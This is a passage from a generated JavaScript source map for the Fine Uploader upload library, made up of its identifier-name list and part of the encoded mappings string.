toAttemptDelay","itemLimit","onManualRetry","clearTimeout","storedItemIndex","expunge","fileIndex","onIndividualProgress","_onSubmit","_onSubmitCallbackSuccess","_onSubmitted","onSubmitted","_storeForLater","onSuccessCallback","additionalMandatedParams","adjustedOnSuccessCallback","onSubmitDelete","_deleteHandler","sendDelete","_onTotalProgress","onTotalProgress","_onValidateBatchCallbackFailure","_onValidateBatchCallbackSuccess","validationDescriptors","errorMessage","proposedNetFilesUploadedOrQueued","tooManyItemsError","nextIndex","_validateFileOrBlobData","_upload","onValidateBatch","_preventLeaveInProgress","event","onLeave","Session","_session","addFileRecord","refresh","_sessionRequestComplete","onSessionRequestComplete","onNewSize","enableAuto","maxAutoAttempts","formElementOrId","onSubmit","idToUpload","stillSubmitting","validityChecker","ImageValidation","validate","image","errorCode","_wrapCallbacks","safeCallback","errorMsg","exception","callbackName","callbackFunc","FineUploaderBasic","disableCancelForFormUploads","filenameParam","forceMultipart","paramsInBody","totalFileSizeName","maxHeight","maxWidth","minHeight","minWidth","maybeXhr","maybeXhrOrXdr","attemptNumber","fileOrBlobData","typeError","sizeError","minSizeError","emptyError","noFilesError","maxHeightImageError","maxWidthImageError","minHeightImageError","minWidthImageError","retryFailTooManyItems","concurrent","mandatory","paramNames","partIndex","partByteOffset","chunkSize","totalFileSize","totalParts","partSize","recordsExpireIn","resuming","fileOrBlobName","sendCredentials","interceptSubmit","customResizer","sendOriginal","orient","defaultType","defaultQuality","failureText","includeExif","sizes","ImageGenerator","_scaler","handleNewFile","TotalProgress","entry","AjaxRequester","shouldParamsBeInQueryString","queue","requestData","acceptHeader","validMethods","contentType","mandatedParams","allowXRequestedWithAndCacheControl","successfulResponseCodes","DELETE","PATCH","POST","PUT","GET","onSend","isSimpleMethod","containsNonSimpleHeaders","containsNonSimple","header","isXdr","getCorsAjaxTransport","ontimeout","onprogress","getXhrOrXdr","suppliedXhr","dequeue","nextId","sendRequest","xdrError","isResponseSuccessful","getParams","onDemandParams","additionalParams","optXhr","payload","url","createUrl","additionalQueryParams","getXdrLoadHandler","getXdrErrorHandler","onreadystatechange","getXhrReadyStateChangeHandler","registerForUploadProgress","open","setHeaders","send","stringify","addToPath","readyState","lengthComputable","onDemandHeaders","additionalHeaders","allHeaders","setRequestHeader","responseCode","prepareToSend","initTransport","path","cacheBuster","withPath","appendToPath","withParams","withQueryParams","_additionalQueryParams_","withHeaders","withPayload","thePayload","withCacheBuster","qqtimestamp","Date","getTime","canceled","UploadHandler","proxy","fileState","fileItem","onCancelRetVal","getThirdPartyFileId","_getFileState","_setThirdPartyFileId","thirdPartyFileId","_wasCanceled","controller","chunkingPossible","concurrentChunkingPossible","preventRetryResponse","chunked","chunkIdx","_getChunkData","attemptingResume","chunkProgress","_getChunkDataForCallback","finalize","finalizeChunks","normaizedResponse","normalizeResponse","_maybeDeletePersistedChunkData","cleanup","hasMoreParts","remaining","nextPart","nextIdx","_getTotalChunks","reevaluateChunking","sendNext","inProgressChunks","inProgress","connectionManager","available","uploadChunk","clearCachedChunk","responseToReport","inProgressChunkIdx","_maybePersistChunkedState","inProgressIdx","unshift","ignoreFailure","keys","_getXhrs","ckid","ckXhr","abort","_cancelled","moveInProgressToRemaining","free","clearXhr","_open","_openChunks","_waiting","openChunkEntriesCount","openChunksCount","openChunkIndexes","dontAllowNext","allowNext","waitingIndex","connectionsIndex","getProxyOrBlob","getWaitingOrConnected","waitingOrConnected","chunks","parseInt","isUsingConnection","pop","openChunksEntry","simple","uploadFile","maybeNewUuid","_clearXhrs","getProxy","initHandler","handlerType","traditional","handlerModuleSubtype","_removeExpiredChunkingRecords","isDeferredEligibleForUpload","maybeDefer","generatedBlob","updateBlob","maybeSendDeferredFiles","errorResponse","idsInGroup","uploadedThisId","idInGroup","now","originalResponse","_shouldChunkThisFile","blobToUpload","cancelRetVal","isProxied","isResumable","WindowReceiveMessage","callbackWrapperDetachers","receiveMessage","onMessageCallbackWrapper","stopReceivingMessages","detacher","FormUploadHandler","formHandlerInstanceId","onloadCallbacks","detachLoadEvents","postMessageCallbackTimers","isCors","corsMessageReceiver","expungeFile","iframe","getElementById","_getIframeName","getFileIdForIframeName","iframeName","initIframeForUpload","body","registerPostMessageCallback","_parseJsonResponse","onloadCallback","_detachLoadEvent","_attachLoadEvent","responseDescriptor","contentDocument","_createIframe","_initFormForUpload","targetName","innerHtmlOrMessage","XhrUploadHandler","chunkFiles","resumeEnabled","xhrId","ajaxRequester","_getAjaxRequester","blobOrProxy","_initTempState","_maybePrepareForResume","cachedChunks","tempState","xhrs","ajaxRequesters","responseParser","lastChunkIdx","_getXhr","resumableFilesData","_iterateResumeRecords","notResumable","optInProgress","optRemaining","reverse","paused","totalChunks","parts","newBlob","chunkId","_createXhr","optChunkIdx","_registerXhr","chunkIndex","fileSize","startBytes","endBytes","part","count","startByte","endByte","_getLocalStorageId","formatVersion","_getMimeType","_getPersistableData","ceil","_markNotResumable","localStorageId","removeItem","persistedData","lastUpdated","_registerProgressHandler","progressCalculator","totalSuccessfullyLoadedForFile","loadedForRequest","totalForRequest","estActualChunkLoaded","totalLoadedForFile","chunkLoaded","optAjaxRequester","xhrsId","expirationDays","expirationDate","setDate","getDate","requester","getMandatedParams","_method","detectSubsampling","img","iw","naturalWidth","ih","naturalHeight","ctx","width","getContext","drawImage","getImageData","detectVerticalSquash","sy","ey","py","alpha","ratio","renderImageToDataURL","doSquash","renderImageToCanvas","maybeCalculateDownsampledDimensions","maxPixels","origHeight","origWidth","newHeight","sqrt","newWidth","modifiedDimensions","save","resize","renderImageToCanvasWithCustomResizer","imageHeight","imageWidth","orientation","targetHeight","targetWidth","transformCoordinate","d","tmpCanvas","vertSquashRatio","dw","dh","dy","tmpCtx","sx","dx","clearRect","restore","qqImageRendered","resizeInfo","sourceCanvas","sourceCanvasContext","targetCanvas","translate","rotate","PI","MegaPixImage","srcImage","errorCallback","Image","URL","createObjectURL","webkitURL","src","listeners","imageLoadListeners","render","imgWidth","imgHeight","opt","optionsKey","optionsValue","oldTargetSrc","onrender","isImg","isCanvas","isImgCorsSupported","crossOrigin","isCanvasSupported","determineMimeOfFileName","nameWithPath","pathSegments","isCrossOrigin","targetAnchor","targetProtocol","targetHostname","targetPort","href","protocol","port","hostname","location","registerImgLoadListeners","registerCanvasDrawImageListener","registerThumbnailRenderedListener","registered","draw","drawPreview","Identify","megapixErrorHandler","isPreviewable","dummyExif","exif","Exif","mpImg","Orientation","failureMsg","drawOnCanvasOrImgFromUrl","canvasOrImg","tempImg","tempImgRender","rendered","drawOnImgFromUrlWithCssScaling","drawFromUrl","fileBlobOrUrl","_testing","TAG_IDS","TAG_INFO","274","parseLittleEndian","hex","pow","seekToApp1","offset","theOffset","thePromise","segmentLength","getApp1Offset","isLittleEndian","app1Start","getDirEntryCount","littleEndian","getIfd","dirEntries","getDirEntries","ifdHex","getTagValues","TAG_VAL_OFFSET","tagsToFind","vals","idHex","tagsToFindIdx","tagValHex","tagValLength","parser","onParseFailure","app1Offset","dirEntryCount","tagValues","isIdentifiable","magicBytes","questionableBytes","identifiable","magicBytesEntries","magicBytesArrayEntry","previewable","isPreviewableSync","PREVIEWABLE_MIME_TYPES","fileMime","isRecognizedImage","image/jpeg","image/gif","image/png","image/bmp","image/tiff","hasNonZeroLimits","limits","atLeastOne","limit","getWidthHeight","sizeDetermination","getFailingLimit","dimensions","failingLimit","limitName","limitValue","limitMatcher","dimensionPropName","actualValue","validationEffort","isJsonResponseValid","handleFileItems","fileItems","someItemsIgnored","err","refreshEffort","refreshCompleteCallback","requesterOptions","SessionAjaxRequester","queryServer","responseText","includeOriginal","failedToScaleText","_getSortedSizes","getFileRecords","originalFileUuid","originalFileName","originalBlobOrBlobData","records","originalBlob","sizeRecord","outputType","_determineOutputType","requestedType","refType","_getName","_generateScaledImage","failedText","api","scaledIds","originalId","record","blobSize","scaledId","qqparentuuid","qqparentsize","param","scalingEffort","scalingOptions","scaler","referenceType","scaledVersionProperties","startOfExt","versionType","scaledName","scaledExt","nameAppendage","sort","a","b","sourceFile","imageGenerator","scaledImageDataUri","signalSuccess","_insertExifHeader","scaledImageDataUriWithExif","originalImage","reader","insertionEffort","originalImageDataUri","ExifRestorer","readAsDataURL","_dataUriToBlob","_createBlob","KEY_STR","encode64","output","chr1","chr2","chr3","enc1","enc2","enc3","enc4","isNaN","origFileBase64","resizedFileBase64","expectedBase64Header","rawImage","decode64","segments","slice2Segments","exifManipulation","exifArray","getExifArray","newImageArray","insertExif","aBuffer","seg","x","imageData","buf","separatePoint","mae","ato","array","rawImageArray","head","endPoint","base64test","perFileProgress","totalLoaded","totalSize","lastLoadedSent","lastTotalSent","callbackProxy","noRetryableFiles","retryable","none","failedId","updateTotalProgress","onNew","newLoaded","newTotal","oldLoaded","oldTotal","detachPasteHandler","isImage","registerPasteHandler","clipboardData","getAsFile","unregisterPasteHandler","startUpload","formEl","_form2Obj","determineNewEndpoint","validateForm","nativeSubmit","checkValidity","maybeUploadOnSubmit","submit","determineFormEl","notIrrelevantType","irrelevantTypes","radioOrCheckbox","ignoreValue","checked","selectValue","select","selected","elements","getIframeContentJson","doc","innerHtml","contentWindow","nodeValue","createForm","responseFromMessage","multipart","addChunkingSpecificParams","allChunksDoneRequester","AllChunksDoneAjaxRequester","createReadyStateChangedHandler","onUploadOrChunkComplete","getChunksCompleteParams","isErrorUploadResponse","parseResponse","sendChunksCompleteRequest","complete","setParamsAndGetEntityToSend","setUploadHeaders","extraHeaders","toSend","promises","endpointHandler","DragAndDrop","HIDE_ZONES_EVENT_NAME","HIDE_BEFORE_ENTER_ATTR","uploadDropZones","droppedFiles","dropZoneElements","allowMultipleItems","dropActive","uploadDroppedFiles","uploadDropZone","filesAsArray","dropLog","dropDisabled","processingDroppedFilesComplete","getElement","traverseFileTree","parseEntryPromise","fullPath","indexOfNameInFullPath","qqPath","fileError","isDirectory","getFilesInDirectory","allEntriesRead","entriesLeft","readFailure","accumEntries","existingPromise","dirReader","createReader","readEntries","readSuccess","newEntries","handleDataTransfer","pendingFolderPromises","handleDataTransferPromise","processingDroppedFiles","dropError","setupDropzone","dropArea","dropZone","UploadDropZone","onEnter","stopPropagation","onLeaveNotDescendants","onDrop","isFileDrag","dragEvent","fileDrag","types","leavingDocumentOut","relatedTarget","y","setupDragDrop","dropZones","maybeHideDropZones","HTMLElement","setupExtraDropzone","removeDropzone","dzs","targetEl","errorSpecifics","preventDrop","dropOutsideDisabled","dragoverShouldBeCanceled","disableDropOutside","dropEffect","isValidFileDrag","effectTest","dt","isSafari","effectAllowed","isOrSetDropDisabled","isDisabled","triggerHidezonesEvent","hideZonesEvent","triggerUsingOldApi","createEvent","initEvent","CustomEvent","dispatchEvent","attachEvents","effect","elementFromPoint","clientX","clientY","uiPublicApi","_parent","_templating","addCacheToDom","clearFiles","addExtraDropzone","_dnd","removeExtraDropzone","getItemByFileId","isHiddenForever","getFileContainer","_setupDragAndDrop","_totalFilesInBatch","_filesInBatchAddedToUi","_setupClickAndEditEventHandlers","formattedFilename","updateFilename","uploadPaused","continued","uploadContinued","getId","fileContainerOrChildEl","getFileId","getDropTarget","qqDropTarget","uiPrivateApi","_removeFileItem","removeFile","_fileButtonsClickHandler","FileButtonsClickHandler","_bindFileButtonsClickEvent","_focusinEventSupported","_isEditFilenameEnabled","_filenameClickHandler","_bindFilenameClickEvent","_filenameInputFocusInHandler","_bindFilenameInputFocusInEvent","_filenameInputFocusHandler","_bindFilenameInputFocusEvent","dragAndDrop","extraDropzones","templating","defaultDropZone","getDropZone","showDropProcessing","hideDropProcessing","errorData","lvl","onDeleteFile","onRetry","onPause","onContinue","onGetName","isEditFilenamePossible","FilenameClickHandler","FilenameInputFocusHandler","_filenameEditHandler","onGetUploadStatus","onSetName","onEditingStatusChange","isEditing","qqInput","getEditInput","qqFileContainer","hideFilename","hideEditIcon","showFilename","showEditIcon","markFilenameEditable","hideRetry","setStatusText","_classes","retrying","hidePause","FilenameInputFocusInHandler","hideSpinner","resetTotalProgress","reportDirectoryPaths","qqpath","_addToList","addHandler","updateProgress","hideCancel","hideProgress","waitingForResponse","_displayFileSize","parentRetVal","completeUpload","_markFileAsSuccessful","fail","showCancel","isRetryPossible","showRetry","_controlFailureTextDisplay","newResult","showDeleteButton","_maybeUpdateThumbnail","showSpinner","allowPause","retryNumForDisplay","maxAuto","retryNote","_showCancelLink","showAutoRetryNote","autoRetryNote","resetProgress","_onSubmitDeleteSuccess","forceConfirm","_showDeleteConfirm","_sendDeleteRequest","deletingFailedText","hideDeleteButton","deletingStatusText","confirmMessage","deleteRequestArgs","showConfirm","canned","prependData","prependIndex","dontDisplay","hideScaled","prependFiles","disableCancel","_handledProxyGroup","_clearList","addFileToCache","updateThumbnail","thumbnails","generatePreview","fileSizeOnSubmit","loadedSize","sizeForDisplay","_formatProgress","uploadedSize","formatProgress","mode","responseProperty","failureReason","failedUploadTextDisplay","failUpload","enableTooltip","_showTooltip","showMessage","_setupPastePrompt","namePromptMessage","defaultVal","showPrompt","fileStatus","placeholders","waitUntilResponse","listElement","template","editable","tooManyFilesError","unsupportedBrowser","promptForName","maxCount","notAvailablePath","waitingPath","timeBetweenThumbs","hasDialog","showDialog","confirm","defaultValue","prompt","Templating","templateIdOrEl","containerEl","fileContainerEl","maxThumbs","waitUntilUpdate","thumbnailNotAvailable","waitingForThumbnail","renderFailure","FILE_ID_ATTR","FILE_CLASS_PREFIX","THUMBNAIL_MAX_SIZE_ATTR","THUMBNAIL_SERVER_SCALE_ATTR","HIDE_DROPZONE_ATTR","DROPZPONE_TEXT_ATTR","IN_PROGRESS_CLASS","HIDDEN_FOREVER_CLASS","fileBatch","content","createDocumentFragment","map","isCancelDisabled","generatedThumbnails","thumbnailQueueMonitorRunning","thumbGenerationQueue","thumbnailMaxSize","selectorClasses","alertDialog","dialogCancelButton","confirmDialog","dialogMessage","dialogOkButton","promptDialog","drop","list","progressBarContainer","totalProgressBarContainer","totalProgressBar","spinner","continueButton","deleteButton","statusText","editFilenameInput","editNameIcon","dropText","dropProcessing","dropProcessingSpinner","thumbnail","previewGeneration","cachedThumbnailNotAvailableImg","cachedWaitingForThumbnailImg","isEditElementsExist","isRetryElementExist","templateHtml","showThumbnails","serverScale","cacheThumbnailPlaceholders","notAvailableUrl","waitingUrl","updatedImg","displayWaitingImg","waitingImgPlacement","maybeScalePlaceholderViaCss","show","generateNewPreview","getThumbnail","qqThumbnailId","maybeSetDisplayNotAvailableImg","generateNextQueuedPreview","queuedThumbRequest","update","processUpdateQueuedPreviewRequest","processNewQueuedPreviewRequest","getCancel","getTemplateEl","getContinue","getDialog","getDelete","getDropProcessing","getEditIcon","getPause","getProgress","getRetry","getSpinner","cssClass","previewing","notAvailableImgPlacement","parseAndGetTemplate","scriptEl","scriptHtml","fileListNode","tempTemplateEl","fileListHtml","defaultButton","dropTextEl","uploaderEl","fileTemplate","prependFile","parentEl","beforeEl","optFileOrBlob","relatedThumbnailId","useCachedPreview","showWaitingImg","setProgressBarWidth","percent","bar","progressBarSelector","targetThumbnailId","cachedThumbnailId","targetThumbnail","cachedThumbnail","hideTotalProgress","cantRenderEl","prependInfo","hideForever","batch","fileEl","fileNameEl","thumb","waitingImg","currentNode","getFileList","filenameEl","isFileName","icon","isEditIcon","isEditInput","isCancel","allowContinueButton","isPause","isContinueButton","isDeleteButton","isRetry","textEl","dialog","messageEl","inputEl","cancelBtn","okBtn","closeHandler","cancelClickHandler","okClickHandler","close","showModal","UiEventHandler","s","protectedApi","eventType","attachTo","onHandled","srcElement","getFileIdFromItem","qqFileId","getDisposeSupport","inheritedInternalApi","buttonHandlers","examineEvent","buttonType","firstLetterCapButtonType","handleFilenameEdit","FilenameEditHandler","handleInputFocus","getFilenameSansExtension","filenameSansExt","getOriginalExtension","origName","handleNameUpdate","newFilenameInputEl","origExtension","registerInputBlurHandler","registerInputEnterKeyHandler","keyCode","which","focusInput","focus"],"mappings":"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